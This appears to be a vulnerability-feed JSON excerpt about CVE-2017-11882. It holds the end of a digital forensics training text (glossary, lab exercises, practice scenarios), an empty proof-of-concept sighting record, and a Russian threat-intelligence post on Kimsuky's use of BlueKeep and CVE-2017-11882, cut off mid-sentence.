often abused by attackers\nCold Boot Attack: Memory recovery from chilled RAM modules\nContainer: Isolated environment (Docker, etc.)\nCookie: Small file storing web browsing data\nCron: Linux task scheduler\nCryptocurrency: Digital currency using cryptography\n\nD\n\u2500\nData Breach: Unauthorized data access or exfiltration\nData Exfiltration: Unauthorized data transfer\nData Remanence: Residual data after deletion\ndd: Unix command for bit-for-bit copying\nDead Analysis: Forensic analysis of powered-off system\nDeleted File: File removed from file system index\nDisk Image: Bit-for-bit copy of storage media\nDLL (Dynamic Link Library): Windows shared library\nDLL Injection: Malware technique inserting code into processes\nDNS Tunneling: Data exfiltration via DNS queries\nDwell Time: Time between compromise and detection\n\nE\n\u2500\nE01: EnCase evidence file format\nECU (Engine Control Unit): Vehicle computer\nEDR (Endpoint Detection and Response): Security monitoring tool\nEncryption: Data scrambling requiring key for access\nEnCase: Commercial forensic platform\nEntropy: Measure of randomness in data\nEvent Log: System record of significant occurrences\nEvent ID: Numeric identifier for Windows events\nExecutive Summary: Brief report overview for decision-makers\nExpert Witness: Qualified professional testifying in court\nEXT: Linux file system (ext2, ext3, ext4)\n\nF\n\u2500\nFaraday Bag: Container blocking electromagnetic signals\nFAT (File Allocation Table): Legacy file system\nFile Header: Identifying bytes at file beginning\nFile Signature: Unique pattern identifying file type\nFile System: Method of organizing files on storage\nFirmware: Software embedded in hardware\nFirst Responder: Initial person at digital crime scene\nForensic Copy: Bit-for-bit duplicate of evidence\nForensic Image: Complete copy of storage media\nForemost: File carving tool\nFTK (Forensic Toolkit): Commercial forensic platform\n\nG\n\u2500\nGPT (GUID Partition Table): Modern partition scheme\nGPS (Global Positioning System): Satellite-based location\nGutmann Method: 35-pass data wiping technique\n\nH\n\u2500\nHardware Write Blocker: Device preventing writes to evidence\nHash: Cryptographic checksum verifying data integrity\nHDD (Hard Disk Drive): Magnetic storage device\nHex Editor: Tool for viewing/editing raw data\nHibernation File: Memory saved to disk during hibernation\nHidden Partition: Partition not visible to OS\nHive: Windows registry file\n\nI\n\u2500\nIaaS (Infrastructure as a Service): Cloud computing model\nICMP: Internet Control Message Protocol (ping)\nIOC (Indicator of Compromise): Evidence of intrusion\nIoT (Internet of Things): Networked smart devices\nIP Address: Internet Protocol address\nIP Spoofing: Falsifying IP address\nImage: Forensic copy of storage media\nInode: Linux data structure describing file\nInsider Threat: Threat from within organization\n\nJ\n\u2500\nJournal: File system feature tracking changes\nJTAG: Debug interface for embedded devices\nJump List: Windows feature showing recent items\n\nK\n\u2500\nKernel: Core of operating system\nKeychain: macOS password storage\nKubernetes: Container orchestration platform\n\nL\n\u2500\nLateral Movement: Attacker moving through network\nLiME: Linux Memory Extractor\nLive Analysis: Forensic analysis of running system\nLNK File: Windows shortcut file\nLog File: File recording events\nLog Tampering: Modifying logs to hide activity\nLogical Acquisition: Copying only active files\nLSB (Least Significant Bit): Steganography technique\n\nM\n\u2500\nMAC Times: File timestamps (Modified, Accessed, Created)\nMalware: Malicious software\nMaster File Table (MFT): NTFS file index\nMBR (Master Boot Record): Legacy partition scheme\nMemory Dump: Contents of RAM saved to file\nMemory Forensics: Analysis of RAM contents\nMFT: See Master File Table\nMFT Entry: Record in Master File Table\nMFT Record: See MFT Entry\nMFT Sequence Number: Counter for MFT entry reuse\nMLAT (Mutual Legal Assistance Treaty): International evidence sharing\nMobile Forensics: Investigation of mobile devices\nMutex: Malware artifact for preventing multiple instances\n\nN\n\u2500\nNAND Flash: Storage used in SSDs and mobile devices\nNetFlow: Network traffic summary protocol\nNetwork Forensics: Analysis of network traffic\nNon-Resident Attribute: File data stored outside MFT\nNTFS (New Technology File System): Windows file system\n\nO\n\u2500\nOBD-II: Vehicle diagnostic port\nObfuscation: Making code difficult to understand\nOpenIOC: Open format for sharing IOCs\nOSINT (Open Source Intelligence): Intelligence from public sources\n\nP\n\u2500\nPaaS (Platform as a Service): Cloud computing model\nPacket: Unit of network data\nPartition: Logical division of storage\nPCAP: Packet capture file format\nPE File: Windows Portable Executable format\nPhishing: Fraudulent attempt to obtain credentials\nPhysical Acquisition: Bit-for-bit copy of storage\nPlaso: Timeline creation tool (log2timeline)\nPrefetch: Windows artifact tracking program execution\nProcess Hollowing: Malware injection technique\n\nR\n\u2500\nRAID (Redundant Array of Independent Disks): Multiple drives as one\nRAM (Random Access Memory): Volatile system memory\nRansomware: Malware encrypting files for ransom\nRegistry: Windows configuration database\nRegistry Hive: Individual registry file\nResident Attribute: File data stored in MFT\nRootkit: Malware hiding its presence\n\nS\n\u2500\nSaaS (Software as a Service): Cloud computing model\nSandbox: Isolated environment for malware analysis\nSector: Smallest addressable storage unit (usually 512 bytes)\nSHA (Secure Hash Algorithm): Hash function family\nShellbags: Windows folder view settings\nShimcache: Windows program execution artifact\nSignature: Unique pattern identifying file type\nSlack Space: Unused space between file end and cluster end\nSnapshot: Point-in-time copy of system state\nSSD (Solid State Drive): Flash-based storage\nSteganography: Hiding data within other data\nStrings: Printable text extracted from binary files\nSuper Timeline: Combined timeline from multiple sources\n\nT\n\u2500\nTCP/IP: Internet protocol suite\nThreat Intelligence: Information about threats\nTime Machine: macOS backup feature\nTimeline: Chronological sequence of events\nTimestamp: Time value attached to events\nTimestomping: Modifying timestamps to hide activity\nTRIM: SSD command marking blocks as unused\nTSK (The Sleuth Kit): Open source forensic tools\n\nU\n\u2500\nUEFI (Unified Extensible Firmware Interface): Modern firmware\nUnallocated Space: Storage not assigned to files\nUnified Logs: macOS comprehensive logging system\nUSB Device History: Record of connected USB devices\nUSN Journal: NTFS change journal\n\nV\n\u2500\nVMDK: VMware virtual disk format\nVHDX: Hyper-V virtual disk format\nVM (Virtual Machine): Software-emulated computer\nVolatility: Memory forensics framework\nVolume: Storage unit with file system\n\nW\n\u2500\nWAL (Write-Ahead Logging): SQLite journal\nWallet: Cryptocurrency key storage\nWear Leveling: SSD technique distributing writes\nWindows Event Log: Windows logging system\nWrite Blocker: Device preventing writes to evidence\n\nY\n\u2500\nYARA: Pattern matching tool for malware detection\n```\n\n---\n\n### Appendix E: Lab Exercises\n\n```markdown\nFORENSIC LAB EXERCISES\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nExercise 1: Creating a Forensic Image\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Create a forensic image of a USB drive\nTools: dd (Linux), FTK Imager (Windows)\n\nSteps:\n1. Connect USB drive (non-evidence, practice only)\n2. Identify device name (Linux: lsblk, Windows: disk management)\n3. Calculate SHA256 hash of original\n4. Create image using dd or FTK Imager\n5. Verify image hash matches original\n6. Mount image read-only and verify contents\n\nExercise 2: File Carving\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Recover deleted files from disk image\nTools: foremost, scalpel, photorec\n\nSteps:\n1. Download practice disk image with deleted files\n2. Run foremost with default configuration\n3. Review recovered files\n4. Try different file types (jpg, pdf, doc)\n5. Compare recovery rates with different tools\n\nExercise 3: Windows Registry Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Extract user activity from registry hives\nTools: RegRipper, Registry Explorer\n\nFiles needed: NTUSER.DAT, SAM, SYSTEM (from practice VM)\n\nTasks:\n1. Extract USB device history\n2. Find recently accessed documents\n3. List installed programs\n4. Identify user accounts\n5. Find typed URLs\n\nExercise 4: Memory Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Analyze memory dump for malware indicators\nTools: Volatility\n\nFiles needed: Practice memory dump (from malware.iaik.tugraz.at)\n\nTasks:\n1. Identify correct profile\n2. List running processes\n3. Find hidden processes (pslist vs psscan)\n4. Extract network connections\n5. Run malfind to detect injected code\n6. Dump suspicious processes\n\nExercise 5: Timeline Creation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Create super timeline from disk image\nTools: Plaso (log2timeline)\n\nSteps:\n1. Run log2timeline on practice image\n2. Generate CSV timeline\n3. Filter for specific date range\n4. Identify file access patterns\n5. Correlate with registry artifacts\n6. Create visualization of timeline\n\nExercise 6: Network Traffic Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Analyze PCAP for malicious activity\nTools: Wireshark, tcpdump, NetworkMiner\n\nFiles needed: Malicious PCAP (from malware-traffic-analysis.net)\n\nTasks:\n1. Identify top talkers\n2. Extract HTTP objects\n3. Find DNS queries\n4. Reconstruct TCP streams\n5. Identify malware C2 traffic\n6. Extract IOCs\n\nExercise 7: Malware Static Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Perform static analysis of malware sample\nTools: PEview, Detect It Easy, strings, pestudio\n\nFiles needed: Malware sample (use safely in sandbox)\n\nTasks:\n1. Calculate hashes\n2. Identify compiler/packer\n3. Extract strings\n4. Analyze imports\n5. Check section entropy\n6. Identify suspicious APIs\n7. Create YARA rule\n\nExercise 8: Mobile Forensics\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Extract data from Android backup\nTools: Android SDK, SQLite Browser, ABE (Android Backup Extractor)\n\nFiles needed: Android backup (.ab file)\n\nTasks:\n1. Convert backup to tar\n2. Extract SMS database\n3. Parse contacts\n4. Analyze call logs\n5. Extract WhatsApp messages\n6. Create timeline of activity\n\nExercise 9: Log Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Identify security events in logs\nTools: grep, awk, Python, ELK stack (optional)\n\nFiles needed: Apache access logs, auth.log\n\nTasks:\n1. Identify failed SSH attempts\n2. Find successful logins\n3. Detect brute force patterns\n4. Analyze web server requests\n5. Identify SQL injection attempts\n6. Create timeline of attacks\n\nExercise 10: Report Writing\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nObjective: Write professional forensic report based on exercise findings\n\nRequirements:\n1. Executive summary\n2. Evidence list\n3. Methodology\n4. Technical findings\n5. Timeline\n6. Conclusions\n7. Limitations\n8. Appendices\n\nEvaluation criteria:\n- Clarity and organization\n- Technical accuracy\n- Appropriate detail level\n- Proper formatting\n- Objective tone\n```\n\n---\n\n### Appendix F: Practice Scenarios\n\n```markdown\nPRACTICE FORENSIC SCENARIOS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nScenario 1: Insider Threat Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Employee resigned unexpectedly. Company suspects data theft.\n\nEvidence Provided:\n- Company laptop image (Windows 10)\n- Email server logs (last 30 days)\n- USB device logs\n- Employee's Slack messages\n\nTask: Determine if data was exfiltrated before resignation\n\nKey Questions:\n1. What files were accessed in the last two weeks?\n2. Was any external storage connected?\n3. Were emails sent to personal accounts?\n4. What was the timeline of events?\n5. Is there evidence of intent?\n\nScenario 2: Ransomware Incident Response\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Company reports files encrypted with .lockbit extension.\n\nEvidence Provided:\n- Memory dump from affected workstation\n- Network traffic capture\n- Windows event logs\n- Encrypted files (samples)\n\nTask: Determine entry point and scope of compromise\n\nKey Questions:\n1. How did the malware enter?\n2. What was the initial execution time?\n3. What systems were affected?\n4. What data was exfiltrated (if any)?\n5. Can we identify the ransomware variant?\n\nScenario 3: Phishing Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: CFO received suspicious email and clicked link.\n\nEvidence Provided:\n- Email (EML file)\n- Browser history\n- Network traffic\n- Memory dump\n\nTask: Determine if credentials were compromised\n\nKey Questions:\n1. Was the email malicious?\n2. What happened after clicking the link?\n3. Were credentials entered?\n4. Was malware downloaded?\n5. What is the IOC for this campaign?\n\nScenario 4: Mobile Device Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Phone seized in criminal investigation.\n\nEvidence Provided:\n- Android phone backup\n- iTunes backup (iOS for comparison)\n\nTask: Extract location history and communications\n\nKey Questions:\n1. Where was the user on specific dates?\n2. Who were they communicating with?\n3. What apps were used?\n4. Can we recover deleted messages?\n5. What photos/videos are present?\n\nScenario 5: Network Intrusion\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: IDS alerted on suspicious outbound connections.\n\nEvidence Provided:\n- Full PCAP (24 hours)\n- Firewall logs\n- Proxy logs\n- DNS logs\n\nTask: Determine if compromise occurred and scope\n\nKey Questions:\n1. Is there evidence of C2 communication?\n2. What systems are affected?\n3. What data was exfiltrated?\n4. What was the attack vector?\n5. How long has the attacker been present?\n\nScenario 6: Cryptocurrency Tracing\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Ransomware payment traced to Bitcoin address.\n\nEvidence Provided:\n- Bitcoin address\n- Transaction history (blockchain data)\n- Exchange records (limited)\n\nTask: Trace funds and identify potential owner\n\nKey Questions:\n1. Where did the funds originate?\n2. Were mixers used?\n3. Did funds go to exchanges?\n4. Can we cluster related addresses?\n5. What is the money flow pattern?\n\nScenario 7: Cloud Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Data breach in AWS environment.\n\nEvidence Provided:\n- CloudTrail logs\n- S3 access logs\n- VPC Flow Logs\n- CloudWatch logs\n\nTask: Determine how breach occurred and what was accessed\n\nKey Questions:\n1. What API calls were made?\n2. Was there unauthorized access?\n3. What data was accessed/downloaded?\n4. Were credentials compromised?\n5. What is the timeline of events?\n\nScenario 8: Anti-Forensics Detection\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Suspect may have attempted to hide evidence.\n\nEvidence Provided:\n- Disk image\n- Memory dump\n- Registry hives\n\nTask: Detect anti-forensic techniques\n\nKey Questions:\n1. Was data wiped? (look for wiping patterns)\n2. Were timestamps manipulated?\n3. Are there hidden partitions/streams?\n4. Was steganography used?\n5. Are there signs of log tampering?\n\nScenario 9: IoT Device Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Smart home device may contain evidence.\n\nEvidence Provided:\n- Smart thermostat data\n- Smart lock logs\n- Voice assistant history\n- Router logs\n\nTask: Determine occupancy patterns and activities\n\nKey Questions:\n1. When was the residence occupied?\n2. Who accessed the home and when?\n3. What voice commands were given?\n4. Were there unusual network activities?\n5. Can we correlate with other evidence?\n\nScenario 10: APT Investigation\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBackground: Defense contractor suspects nation-state intrusion.\n\nEvidence Provided:\n- Full disk images (multiple systems)\n- Network logs (6 months)\n- Email archives\n- Memory dumps\n\nTask: Determine scope, attribution, and data stolen\n\nKey Questions:\n1. What was the initial access vector?\n2. How long have they been present?\n3. What data was targeted?\n4. What tools were used?\n5. Can we attribute to known APT group?\n```\n\n---\n", "creation_timestamp": "2026-08-25T16:14:14.155169Z"}, {"uuid": "c4910e82-cae2-49cf-b989-132e0a67a0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "Telegram/FLdwEq6Id8YCRLT6-BTnUIccpf3DA_mOnlB4rDSecoKdqdpj", "content": "", "creation_timestamp": "2026-07-17T07:00:04.183017Z"}, {"uuid": "6e109f3c-c7f8-4c16-a20a-69683a99bea4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/rtinfobez/298", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0431\u0430\u0433\u0438 \u2014 \u043d\u043e\u0432\u044b\u0435 \u0431\u0435\u0434\u044b\n\n\u0421\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Kimsuky \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u2014 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0441 \u043d\u043e\u0432\u043e\u0439 \u0432\u043e\u043b\u043d\u043e\u0439 \u0430\u0442\u0430\u043a, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0431\u044b\u0442\u044c.\n\n\u0427\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438?\n\ud83d\udcceCVE-2019-0708 (BlueKeep) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 RDP, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE). \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0435\u0449\u0451 \u0432 2019 \u0433\u043e\u0434\u0443.\n\ud83d\udcceCVE-2017-11882 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439 \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 Microsoft Office, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0431\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0410\u0442\u0430\u043a\u0430 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043f\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439, \u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u0435:\n\ud83d\udfe1 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c RDP.\n\ud83d\udfe1 \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2019-0708. \u0415\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0441 \u0446\u0435\u043b\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882. \n\ud83d\udfe1 \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e MySpy \u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 RDPWrap, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e RDP.\n\ud83d\udfe1 \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043a\u0435\u0439\u043b\u043e\u0433\u0435\u0440\u0440\u044b KimaLogger \u0438\u043b\u0438 RandomQuery \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u043e\u043c?\n\u042e\u0436\u043d\u0430\u044f \u041a\u043e\u0440\u0435\u044f \u2014 \u0432 \u044d\u043f\u0438\u0446\u0435\u043d\u0442\u0440\u0435. \u041f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0441\u0444\u0435\u0440 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0438 IT.\n\u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0432 \u042f\u043f\u043e\u043d\u0438\u0438, \u0421\u0428\u0410, \u041a\u0438\u0442\u0430\u0435 \u0438 